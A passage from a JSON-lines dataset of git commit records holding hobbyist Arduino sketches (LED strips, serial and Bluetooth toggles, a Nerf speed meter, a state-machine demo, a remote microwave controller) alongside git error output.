the number of LEDs in your LED strip\n#define NUM_LEDS 60\n\/\/ Maximum number of packets to hold in the buffer. Don't change this.\n#define BUFFER_LEN 1024\n\/\/ Toggles FPS output (1 = print FPS over serial, 0 = disable output)\n#define PRINT_FPS 1\n\n\/\/NeoPixelBus settings\nconst uint8_t PixelPin = 3; \/\/ make sure to set this to the correct pin, ignored for Esp8266(set to 3 by default for DMA)\n\n\/\/ Wifi and socket settings\nconst char* ssid = \"YOUR_WIFI_SSID\";\nconst char* password = \"YOUR_WIFI_PASSWORD\";\nunsigned int localPort = 7777;\nchar packetBuffer[BUFFER_LEN];\n\nuint8_t N = 0;\n\nWiFiUDP port;\n\/\/ Network information\n\/\/ IP must match the IP in config.py\nIPAddress ip(192, 168, 0, 150);\n\/\/ Set gateway to your router's gateway\nIPAddress gateway(192, 168, 0, 1);\nIPAddress subnet(255, 255, 255, 0);\n\nNeoPixelBus<NeoGrbFeature, Neo800KbpsMethod> ledstrip(NUM_LEDS, PixelPin);\n\nvoid setup() {\n Serial.begin(115200);\n WiFi.config(ip, gateway, subnet);\n WiFi.begin(ssid, password);\n Serial.println(\"\");\n \/\/ Connect to wifi and print the IP address over serial\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n port.begin(localPort);\n ledstrip.Begin();\/\/Begin output\n ledstrip.Show();\/\/Clear the strip for use\n}\n\n#if PRINT_FPS\n uint16_t fpsCounter = 0;\n uint32_t secondTimer = 0;\n#endif\n\nvoid loop() {\n \/\/ Read data over socket\n int packetSize = port.parsePacket();\n \/\/ If packets have been received, interpret the command\n if (packetSize) {\n int len = port.read(packetBuffer, BUFFER_LEN);\n for(int i = 0; i < len; i+=4) {\n packetBuffer[len] = 0;\n N = packetBuffer[i];\n RgbColor pixel((uint8_t)packetBuffer[i+1], (uint8_t)packetBuffer[i+2], (uint8_t)packetBuffer[i+3]);\/\/color\n ledstrip.SetPixelColor(N, pixel);\/\/N is the pixel number\n } \n ledstrip.Show();\n #if PRINT_FPS\n fpsCounter++;\n Serial.print(\"\/\");\/\/Monitors connection(shows jumps\/jitters in packets)\n #endif\n }\n #if PRINT_FPS\n if (millis() - secondTimer >= 1000U) {\n secondTimer = millis();\n Serial.printf(\"FPS: %d\\n\", fpsCounter);\n fpsCounter = 0;\n } \n #endif\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ws2812_controller_esp32\/ws2812_controller_esp32.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6f289874f3c6937ceafd07d3a2537ac5a8b84dc6","subject":"Checking change to Grounded Thermocouples attached to A2D inputs.","message":"Checking change to Grounded Thermocouples attached to A2D inputs.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"833c5821bf20baf596bd79c948919e39d49093fe","subject":"Arduino serial communication with Processing and Bing's Routes API","message":"Arduino serial communication with Processing and Bing's Routes API\n","repos":"rvill\/InternetOfThings","old_file":"bing_maps_arduino_serial2\/bing_maps_arduino_serial2.ino","new_file":"bing_maps_arduino_serial2\/bing_maps_arduino_serial2.ino","new_contents":"char val;\n\nint greenPin = 4;\nint redPin = 6; \n\nvoid setup(){\n pinMode(greenPin, OUTPUT);\n pinMode(redPin, OUTPUT); \n Serial.begin(9600);\n}\n\nvoid loop(){\n if(Serial.available()){\n val=Serial.read();\n }\n\nif (val == 'G'){ \/\/Go\n digitalWrite(greenPin, HIGH);\n Serial.print(val);\n} else {\n digitalWrite(greenPin, LOW); \n}\n\nif (val == 'S'){ \/\/Stay\n digitalWrite(redPin, HIGH);\n Serial.print(val);\n} else {\n digitalWrite(redPin, LOW); \n}\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bing_maps_arduino_serial2\/bing_maps_arduino_serial2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"310f2884ca1d15070d81d0942219b9a480b8130f","subject":"updated example","message":"updated example\n","repos":"arduino-org\/CiaoMCU","old_file":"example\/CiaoCommand.ino","new_file":"example\/CiaoCommand.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/arduino-org\/CiaoMCU.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"076cc5be281ef1b3c6d67e7edd36de5eeed32f1c","subject":"Create cylon_color_changing.ino","message":"Create cylon_color_changing.ino","repos":"marmilicious\/FastLED_examples","old_file":"cylon_color_changing.ino","new_file":"cylon_color_changing.ino","new_contents":"\/\/***************************************************************\n\/\/ This is a Cylon effect that doesn't use delay(). The color\n\/\/ of the moving dot is picked from a set of custom colors\n\/\/ stored in an array.\n\/\/\n\/\/ There are two different examples in the main loop.\n\/\/ Un-comment one at a time to try each out. One changes color\n\/\/ based on a timer, and the other changes color whenever the\n\/\/ dot reaches the end of the stirp.\n\/\/ The color change could also be based on something such as\n\/\/ a potentiometer, distance sensor, button, sine wave, random, etc.\n\/\/\n\/\/ Marc Miller, Nov 2018\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\n#define COLOR_ORDER GRB\n#define BRIGHTNESS 255\nCRGB leds[NUM_LEDS];\n\n\n\/\/ Custom colors to choose from\nCRGB colorArray[] = {\n CRGB(0,255,0), \/\/green\n CRGB(180,180,180), \/\/a dim white\n CHSV(0,255,255), \/\/red\n CRGB::Grey,\n};\n\nuint8_t numberOfColors = sizeof(colorArray) \/ sizeof(colorArray[0]);\nuint8_t colorChoice; \/\/the current color choice\nuint8_t pos; \/\/dot position\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check your baud rate)\n delay(2000); \/\/ Startup delay\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLOCK_PIN,COLOR_ORDER>(leds, NUM_LEDS); \/\/ ***For strips using Clock.\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN>(leds, NUM_LEDS); \/\/ ***For Clock-less strips.\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n\n \/\/Comment or un-comment one of these examples to try each out.\n cylon_cc1();\n \/\/cylon_cc2();\n \n FastLED.show();\n \n}\/\/end_main_loop\n\n\n\n\/\/---------------------------------------------------------------\nvoid colorChange(boolean r) {\n \/\/ Change the color.\n \/\/ If r = 0, the next color in the array is picked and then\n \/\/ it cycles back around to the first color in the array.\n \/\/ If r = 1 then a random color is picked from the array.\n\n if (r == 0) {\n colorChoice = colorChoice + 1;\n if (colorChoice >= numberOfColors) { colorChoice = 0; }\n \/\/Serial.print(\"cycling: \"); Serial.println(colorChoice);\n } else {\n colorChoice = random8(numberOfColors);\n \/\/Serial.print(\"random: \"); Serial.println(colorChoice);\n }\n \n}\n\n\n\/\/---------------------------------------------------------------\nvoid cylon_cc1() {\n \/\/cylon effect with color change based on time\n \n static uint8_t delta = 1; \/\/direction of travel\n\n EVERY_N_MILLISECONDS(200) {\n colorChange(0); \/\/set next color\n }\n\n EVERY_N_MILLISECONDS(60) {\n fadeToBlackBy(leds, NUM_LEDS, 5);\n leds[pos] = colorArray[colorChoice];\n pos = pos + delta;\n if (pos == NUM_LEDS-1) { delta = -1; } \/\/change direction\n if (pos == 0) { delta = 1; } \/\/change direction\n }\n\n}\/\/end_cylon_cc1\n\n\n\/\/---------------------------------------------------------------\nvoid cylon_cc2() {\n \/\/cylon effect with color change when end of strip is reached\n \n static uint8_t delta = 1; \/\/direction of travel\n\n EVERY_N_MILLISECONDS(60) {\n fadeToBlackBy(leds, NUM_LEDS, 200);\n leds[pos] = colorArray[colorChoice];\n pos = pos + delta;\n if (pos == NUM_LEDS-1) {\n delta = -1; \/\/change direction\n colorChange(1); \/\/random next color\n }\n if (pos == 0) {\n delta = 1; \/\/change direction\n colorChange(1); \/\/random next color\n }\n }\n\n}\/\/end_cylon_cc2\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'cylon_color_changing.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b8b3c7da864025203413f6ffe3d55a863e06c319","subject":"Added 1. Change color example.","message":"Added 1. Change color example.\n","repos":"yaneexy\/Spark-Core-Examples,yaneexy\/Spark-Core-Examples","old_file":"1.LED change color.ino","new_file":"1.LED change color.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec '1.LED' did not match any file(s) known to git\nerror: pathspec 'change' did not match any file(s) known to git\nerror: pathspec 'color.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0d6209bd574da0037d9d8f1a29c3640d2d729a44","subject":"Simple bluetooth example","message":"Simple bluetooth example\n","repos":"zach-king\/ArduinoStash,zach-king\/ArduinoStash","old_file":"src\/bluetooth_simple\/sketch_apr25a\/sketch_apr25a.ino","new_file":"src\/bluetooth_simple\/sketch_apr25a\/sketch_apr25a.ino","new_contents":"int ledPin = 13;\nint state = 0;\nint flag = 0;\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n digitalWrite(ledPin, LOW);\n Serial.begin(9600);\n}\n\nvoid loop() {\n if (Serial.available() > 0)\n {\n state = Serial.read();\n Serial.print(\"State: \");\n Serial.println(state);\n flag = 0;\n }\n\n if (state == '0') \n {\n digitalWrite(ledPin, LOW);\n if (flag == 0)\n {\n Serial.println(\"LED: off\");\n flag = 1;\n }\n }\n\n if (state == '1')\n {\n digitalWrite(ledPin, HIGH);\n if (flag == 0)\n {\n Serial.println(\"LED: on\");\n flag = 1;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/bluetooth_simple\/sketch_apr25a\/sketch_apr25a.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b28f0206a422d14094ffe6a58c8a497e6dc4c7f3","subject":"NERF Speed measurement","message":"NERF Speed measurement\n","repos":"janunezc\/robotics,janunezc\/robotics,janunezc\/robotics,janunezc\/robotics","old_file":"nerf_speed\/nerf_speed\/nerf_speed.ino","new_file":"nerf_speed\/nerf_speed\/nerf_speed.ino","new_contents":"#include <LiquidCrystal.h>\n\nLiquidCrystal lcd(5, 6, 9, 10, 11 , 12);\n\nvoid setup() {\n pinMode(2, INPUT_PULLUP);\n lcd.begin(16, 2);\n lcd.setCursor(0, 0);\n mensajeLCD(\"MEDIDOR NERF 1.0\", 0);\n\n}\n\nunsigned long tiempoConOscuridad_Inicio = 0;\nbool contandoOscuridad = false;\nunsigned long tiempoConOscuridad = 0;\nunsigned long now = 0;\n\nvoid loop() {\n \/\/mensajeLCD(String(micros()));\n \/\/return;\n\n if (!hayLuz()) {\n if (!contandoOscuridad) {\n contandoOscuridad = true;\n tiempoConOscuridad_Inicio = micros();\n } \n \n now = micros();\n tiempoConOscuridad = (now - tiempoConOscuridad_Inicio);\n\n } else {\n contandoOscuridad = false;\n }\n\n mensajeLCD(\"\" + String(now),0);\n mensajeLCD(\"\" + String(tiempoConOscuridad_Inicio) + \".\" + String(tiempoConOscuridad),1);\n\n \/\/generarMensaje(tiempoConOscuridad); \n \n}\n\n\nvoid generarMensaje(int tiempoConOscuridad) {\n String mensaje = \"O:\" + String(tiempoConOscuridad) + \"us.\" ;\n mensajeLCD(mensaje,0);\n}\n\nbool hayLuz() {\n if (digitalRead(2) == LOW) return true;\n else return false;\n}\n\nvoid mensajeLCD(String mensaje, int row) {\n lcd.setCursor(0, row);\n lcd.print(mensaje + \" \");\n}\n\nvoid mensajeLCD(String mensaje) {\n mensajeLCD(mensaje, 1);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'nerf_speed\/nerf_speed\/nerf_speed.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"681dc3e17b066df5a3a3436aca92312f1a51b3dd","subject":"Create InputMatch.ino","message":"Create InputMatch.ino\n","repos":"carloscastellanos\/teaching,carloscastellanos\/teaching,carloscastellanos\/teaching","old_file":"Arduino\/Basics\/Digital\/InputMatch.ino","new_file":"Arduino\/Basics\/Digital\/InputMatch.ino","new_contents":"\/*\n * Arduino program to demonstrate a simple finite state machine program structure.\n * Carlos Castellanos | 2020 | ccastellanos.com\n * \n * with some code borrowed from Garth Zeglin: https:\/\/www.cs.cmu.edu\/~garthz\/\n * \n * Given the number of outputs, this example could be extended to encompass many more states\n *\/\n\n\nconst int INPUT_PIN = 4;\nconst int OUTPUT_PIN_A = 5;\nconst int OUTPUT_PIN_B = 6;\nconst int OUTPUT_PIN_C = 7;\n\n\/\/ Define the name for each state, and an index variable to represent the\n\/\/ current state.\nenum state_name_t { START=0, STATE1, STATE2, STATE3, STATE4 } state_index;\n\nvoid setup()\n{\n \/\/ initialize the Serial port\n Serial.begin(9600);\n\n \/\/ configure our inputs & outputs\n pinMode(INPUT_PIN, INPUT);\n pinMode(OUTPUT_PIN_A, OUTPUT);\n pinMode(OUTPUT_PIN_B, OUTPUT);\n pinMode(OUTPUT_PIN_C, OUTPUT);\n\n \/\/ initialize the state machine\n state_index = START;\n}\n\n\/****************************************************************\/\n\/\/ Standard Arduino polling function.\n\n\/\/ This demonstrates a conventional switch-case structure for representing a\n\/\/ finite state machine as an Arduino program. The current state is represented\n\/\/ as the value of the state_index variable. Note that this structure allows\n\/\/ for easily evaluating other subroutines or state machines concurrently with\n\/\/ this one, as the execution passes through the loop() function on each\n\/\/ iteration.\n\nvoid loop()\n{\n \/\/ select the code block corresponding to the state to generate the appropriate outputs for the state\n switch( state_index) {\n\n case START:\n Serial.println(\"Entering start state.\");\n digitalWrite(OUTPUT_PIN_A, LOW);\n digitalWrite(OUTPUT_PIN_B, LOW);\n digitalWrite(OUTPUT_PIN_C, LOW);\n break;\n\n case STATE1:\n Serial.println(\"Entering state 1.\"); \n digitalWrite(OUTPUT_PIN_A, HIGH);\n digitalWrite(OUTPUT_PIN_B, LOW);\n digitalWrite(OUTPUT_PIN_C, LOW);\n break;\n\n case STATE2:\n Serial.println(\"Entering state 2.\"); \n digitalWrite(OUTPUT_PIN_A, LOW);\n digitalWrite(OUTPUT_PIN_B, HIGH);\n digitalWrite(OUTPUT_PIN_C, LOW);\n break;\n\n case STATE3:\n Serial.println(\"Entering state 3.\");\n digitalWrite(OUTPUT_PIN_A, LOW);\n digitalWrite(OUTPUT_PIN_B, LOW);\n digitalWrite(OUTPUT_PIN_C, HIGH);\n break;\n }\n\n case STATE4:\n Serial.println(\"Entering state 4.\");\n digitalWrite(OUTPUT_PIN_A, HIGH);\n digitalWrite(OUTPUT_PIN_B, HIGH);\n digitalWrite(OUTPUT_PIN_C, HIGH);\n break;\n }\n\n delay(1000);\n Serial.println(\"Sampling input.\");\n int input = digitalRead( INPUT_PIN );\n\n \/\/ select the code block corresponding to the current state to evaluate the next input\n switch( state_index) {\n\n case START:\n if (input) state_index = STATE1;\n else state_index = START;\n break;\n\n case STATE1:\n if (input) state_index = START;\n else state_index = STATE2;\n break;\n\n case STATE2:\n if (input) state_index = STATE3;\n else state_index = STATE1;\n break;\n\n case STATE3:\n if (input) state_index = STATE4;\n else state_index = STATE2;\n break;\n\n case STATE4:\n if (input) state_index = STATE4;\n else state_index = START;\n break;\n }\n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Basics\/Digital\/InputMatch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bbe44c926ef9b67bd91d7f93a430e66d69b402eb","subject":"Update pt_remote controlled car2.ino","message":"Update pt_remote controlled car2.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car2.ino","new_file":"pt_remote controlled car\/pt_remote controlled car2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"13270425b47e7c82788798015cd43060264587e8","subject":"added a line in master","message":"added a line in master\n","repos":"mule-ear\/shiny-spice,mule-ear\/shiny-spice,mule-ear\/shiny-spice","old_file":"SevSegmentDriver9.ino","new_file":"SevSegmentDriver9.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mule-ear\/shiny-spice.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"65f051a6171ed1c83e11ef302b72db8218797a3b","subject":"Adding Simple Arduino UDP Receiving","message":"Adding Simple Arduino UDP Receiving\n","repos":"lolisa\/2014-15,lolisa\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15","old_file":"receiveOverEthernet.ino","new_file":"receiveOverEthernet.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lolisa\/2014-15.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"1836cca18be476009ba02feceb758f83aaeaf2ba","subject":"added arakdy arduino code","message":"added arakdy arduino code\n","repos":"5shekel\/ovenpi,5shekel\/ovenpi,5shekel\/ovenpi","old_file":"ovenpi.ino","new_file":"ovenpi.ino","new_contents":"\/* \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Microwave Controller V_1 7\/16\/15 \/\/\n\/\/ Arkadi Rafalovich - Arkadiraf@gmail.com \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSetup:\nArduino uno (Redboard)\nArduino prototype shield + 2 Multiplexers 1x16 : CD74HC4067 +2 RJ45 (Ethernet, cables)\nArduino Xbee shield + RN42-XV Bluetooth module\nPower adapter 9v or 6 AA batteries\n\nPinout:\n0,1 : RX,TX - Xbee:\nMicroWave wires 1-7 --> Ethernet cable --> Mux 1\nMicrowave wires 8-13 --> Ethernet cable --> Mux 2\nMicrowave GND --> Ethernet cable --> Common GND\n\nMux 1:\nD4 - S0\nD5 - S1\nD6 - S2\nD7 - S3\nD12- EN\n\nMux 2:\nD8 - S0\nD9 - S1\nD10- S2\nD11- S3\nD12- EN\n\nCommand Protocol:\n<start>\\r\\n Start micro\n<stop>\\r\\n Stop micro\n<popcorn>\\r\\n Stop, Popcorb, Start\n<p10s>\\r\\n Add 10 second to time, set time variable\n<p30s>\\r\\n +30s time\n\nMicrowave Wires to buttons:\nSee excel for details:\n(Mux1,Mux2:)\nKeys: \n0 - (5,14)\n1 - (5,13)\n2 - (5,12)\n3 - (5,11)\n4 - (5,100\n5 - (5,9)\n6 - (5,8)\n7 - (4,14)\n8 - (4,13)\n9 - (4,12)\n+30 - (4,9)\nStart - (4,10)\nStop - (4,11)\nPopcorn - (2,14)\n*\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Variables \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/Mux2 control pins\nint Mux2s0 = 4;\nint Mux2s1 = 5;\nint Mux2s2 = 6;\nint Mux2s3 = 7;\n\n\/\/Mux1 control pins\nint Mux1s0 = 8;\nint Mux1s1 = 9;\nint Mux1s2 = 10;\nint Mux1s3 = 11;\n\/\/enable pin\nint Mux_En=12;\n\nint SetTime=0;\nint SetSec=0;\nint SetMinutes=0;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Serial Input Command \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ communication protocol is based on my own open source protocol implemented in other open source projects\n\nString inputString = \" \"; \/\/ a string to hold incoming data (30 chars length)\nboolean stringComplete = false; \/\/ whether the string is complete\nint stringCMDStart=-1; \/\/ Command String Start\nint stringCMDEnd=-1; \/\/ Command String Ends\nint stringCMDValueStart=-1; \/\/ Command Value String Start\nint stringCMDValueEnd=-1; \/\/ Command Value String Ends\n\/\/ Split the inputString into Command and Value\n\nString Command=\" \"; \/\/ The Commands (20 chars length)\nString CommandValueString=\" \"; \/\/ The Values (10 chars length)\nchar CommandValueChar[10]={\" \"};\nint CommandValue=0; \/\/ The Values in Int\n\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Setup \/\/\n\/\/\/\/\/\/\/\/\/\/\/\nvoid setup(){\n \/\/ Initialize serial communication, (Xbee\/PC)\n Serial.begin(57600);\n \n \/\/ Mux Setup\n pinMode(Mux1s0, OUTPUT); \n pinMode(Mux1s1, OUTPUT); \n pinMode(Mux1s2, OUTPUT); \n pinMode(Mux1s3, OUTPUT); \n pinMode(Mux2s0, OUTPUT); \n pinMode(Mux2s1, OUTPUT); \n pinMode(Mux2s2, OUTPUT); \n pinMode(Mux2s3, OUTPUT);\n pinMode(Mux_En, OUTPUT); \n \n digitalWrite(Mux1s0, LOW);\n digitalWrite(Mux1s1, LOW);\n digitalWrite(Mux1s2, LOW);\n digitalWrite(Mux1s3, LOW);\n digitalWrite(Mux2s0, LOW);\n digitalWrite(Mux2s1, LOW);\n digitalWrite(Mux2s2, LOW);\n digitalWrite(Mux2s3, LOW);\n digitalWrite(Mux_En, HIGH); \/\/ disable MUX\n \n\n}\/\/ end Setup\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Main Code \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid loop(){\n \/\/ If string is complete then parse string and execute the command.\n if (stringComplete) {\n ParseString();\n ExecuteCommand();\n }\n}\/\/ end Main Code\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/ Functions \/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SerialEvent \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs.\n*\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read(); \n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n } \n }\n} \/\/ end serial event\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Parse Recieved Command \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid ParseString(void)\n{\n stringCMDStart=inputString.indexOf('<');\n stringCMDEnd=inputString.indexOf('>',stringCMDStart+1);\n stringCMDValueStart=inputString.indexOf('<',stringCMDEnd+1);\n stringCMDValueEnd=inputString.indexOf('>',stringCMDValueStart+1);\n \n \/\/ seperate command and value\n if (stringCMDStart!=-1&&stringCMDEnd!=-1){\n Command=inputString.substring(stringCMDStart+1,stringCMDEnd);\n if (stringCMDValueStart!=-1&&stringCMDValueEnd!=-1){\n CommandValueString=inputString.substring(stringCMDValueStart+1,stringCMDValueEnd);\n CommandValueString.toCharArray(CommandValueChar, 10);\n CommandValue=atoi(CommandValueChar);\n }else{\n\/\/ Serial.println(\"Invalid Value\");\n CommandValueString=\"Inv Val\";\n CommandValue=-1;\n }\n }else{\n\/\/ Serial.println(\"Invalid CMD\");\n Command=\"Inv CMD\";\n }\n \n\/\/ \/\/ Print Command and Value\n\/\/ Serial.print(Command);\n\/\/ Serial.print(\" \");\n\/\/ Serial.print(CommandValueString);\n\/\/ \n\/\/ Serial.print(\" \");\n\/\/ Serial.println(CommandValue);\n \n \/\/ clear the string and restart status:\n inputString = \"\";\n stringComplete = false; \n}\/\/ end parse string\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Execute Recieved Command\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ExecuteCommand(void)\n{\n if (Command.equalsIgnoreCase(\"Stop\")){\n SetTime=0; \/\/ clear set time\n WiresConnect(4,11);\n }else if(Command.equalsIgnoreCase(\"Start\")){\n WiresConnect(4,10);\n }else if(Command.equalsIgnoreCase(\"p30s\")){\n WiresConnect(4,9);\n }else if(Command.equalsIgnoreCase(\"Popcorn\")){\n WiresConnect(4,11); \/\/stop\n delay(100);\n WiresConnect(2,14); \/\/popcorn\n delay(100);\n WiresConnect(4,10); \/\/start\n }else if(Command.equalsIgnoreCase(\"p10s\")){\n SetTime=SetTime+10;\n SetSec=SetTime%60;\n SetMinutes=SetTime\/60;\n\/\/ Serial.print(\"SetTime \");\n\/\/ Serial.print(SetTime);\n\/\/ Serial.print(\" SetSec \");\n\/\/ Serial.print(SetSec);\n\/\/ Serial.print(\" SetMinutes \");\n\/\/ Serial.println(SetMinutes);\n \n \/\/ set time on micro:\n WiresConnect(4,11); \/\/stop\/clear\n delay(100);\n SetNum(SetMinutes\/10);\n SetNum(SetMinutes%10);\n SetNum(SetSec\/10);\n SetNum(SetSec%10);\n }\n \n Command=\"\"; \/\/ initialize command \n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Set num \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid SetNum(int Num){\n\/\/ Serial.print(\" Num \");\n\/\/ Serial.println(Num);\n switch (Num) {\n case 0:\n WiresConnect(5,14);\n break;\n case 1:\n WiresConnect(5,13);\n break;\n case 2:\n WiresConnect(5,12);\n break;\n case 3:\n WiresConnect(5,11);\n break;\n case 4:\n WiresConnect(5,10);\n break;\n case 5:\n WiresConnect(5,9);\n break;\n case 6:\n WiresConnect(5,8);\n break;\n case 7:\n WiresConnect(4,14);\n break;\n case 8:\n WiresConnect(4,13);\n break;\n case 9:\n WiresConnect(4,12);\n break;\n }\n delay(100);\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Press Key by connecting 2 wires \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid WiresConnect(int wire1, int wire2){\n\/\/ Serial.print(\"Connect wires \");\n \/\/ set up MUX1, MUX2\n SetMux(wire1,Mux1s0,Mux1s1,Mux1s2,Mux1s3);\n SetMux(wire2,Mux2s0,Mux2s1,Mux2s2,Mux2s3);\n digitalWrite(Mux_En, LOW); \/\/ Enable MUX with the new settings, \n delay(100); \/\/ Delay to make sure key is pressed\n digitalWrite(Mux_En, HIGH); \/\/ disable MUX\n\/\/ Serial.println();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Set Mux Pins \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid SetMux(int channel, int s0, int s1, int s2, int s3){\n int controlPin[] = {s0, s1, s2, s3};\n int muxChannel[16][4]={\n {0,0,0,0}, \/\/channel 0\n {1,0,0,0}, \/\/channel 1\n {0,1,0,0}, \/\/channel 2\n {1,1,0,0}, \/\/channel 3\n {0,0,1,0}, \/\/channel 4\n {1,0,1,0}, \/\/channel 5\n {0,1,1,0}, \/\/channel 6\n {1,1,1,0}, \/\/channel 7\n {0,0,0,1}, \/\/channel 8\n {1,0,0,1}, \/\/channel 9\n {0,1,0,1}, \/\/channel 10\n {1,1,0,1}, \/\/channel 11\n {0,0,1,1}, \/\/channel 12\n {1,0,1,1}, \/\/channel 13\n {0,1,1,1}, \/\/channel 14\n {1,1,1,1} \/\/channel 